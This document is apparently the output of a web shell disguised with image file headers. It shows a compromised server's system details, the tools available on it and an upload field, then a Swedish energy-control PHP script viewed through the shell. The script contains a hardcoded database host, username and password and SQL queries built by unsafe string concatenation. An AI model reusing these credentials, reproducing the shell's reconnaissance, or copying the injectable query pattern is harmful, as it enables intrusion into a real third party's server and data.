????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.55 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/rock_backup/ |
Upload File : |
<?php
include 'setup.php';
$mysqli = new mysqli("www.astacus.se", "carlhoffstedt", "Astacus2020!", "energicontrol");
$hours = array(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1); // Last one is set to 1, otherwise loop doesnt work if last hour is 0
$from = date("Y-m-d",strtotime("0 days"))." 18:00:00";
$to = date("Y-m-d",strtotime("1 days"))." 17:00:00";
$today = date("Y-m-d",strtotime("0 days"));
$sql = "SELECT * FROM tblForcast WHERE timeSeries >= '".$from."' and timeSeries <= '".$to."' and enteryDate = '".$today."' group by timeSeries order by timeSeries";
echo($sql."<br>");
$result = $mysqli->query($sql);
$url = 'https://api.sunrise-sunset.org/json?lat=58.533&lng=15.046&date=today';
$JSON = file_get_contents($url);
$data = json_decode($JSON,true);
$sunrise = $data['results']['sunrise'];
$sunset = $data['results']['sunset'];
while($obj = $result->fetch_object()){
$t_effektiv = $obj->t_effektiv;
$tcc_mean = $obj->tcc_mean;
$timeSeries = $obj->timeSeries;
//echo($timeSeries." : ". $tcc_mean. " :".$t_effektiv."<br>");
$hour_timeseries = date("H",strtotime($timeSeries));
$hour_sunrise = date("H",strtotime($sunrise)) +2;
$hour_sunset = date("H",strtotime($sunset)) + 2;
//echo($hour_timeseries." - ". $hour_sunrise." - ". $hour_sunset."<br>");
$sun = 0;
if($tcc_mean <= $tcc_limit && ($hour_timeseries > $hour_sunrise && $hour_timeseries < $hour_sunset)){
$sun = 1;
}
$key = date("Y-m-d\TH:00:00",strtotime($timeSeries));
$found = 0;
$sql = "SELECT * FROM tblWeatherControl WHERE Ethernet = '$ethernet' and startTime ='$key'";
$result = $mysqli->query($sql);
while($obj = $result->fetch_object()){
$found = 1;
}
if($found == 0){
$sql = "INSERT INTO tblWeatherControl VALUES (null, '".$ethernet."','".$key."','".$sun."','".$t_effektiv ."')";
echo($sql."<br>");
$mysqli->query($sql);
}
$x++;
}
echo("<br><br>");
?>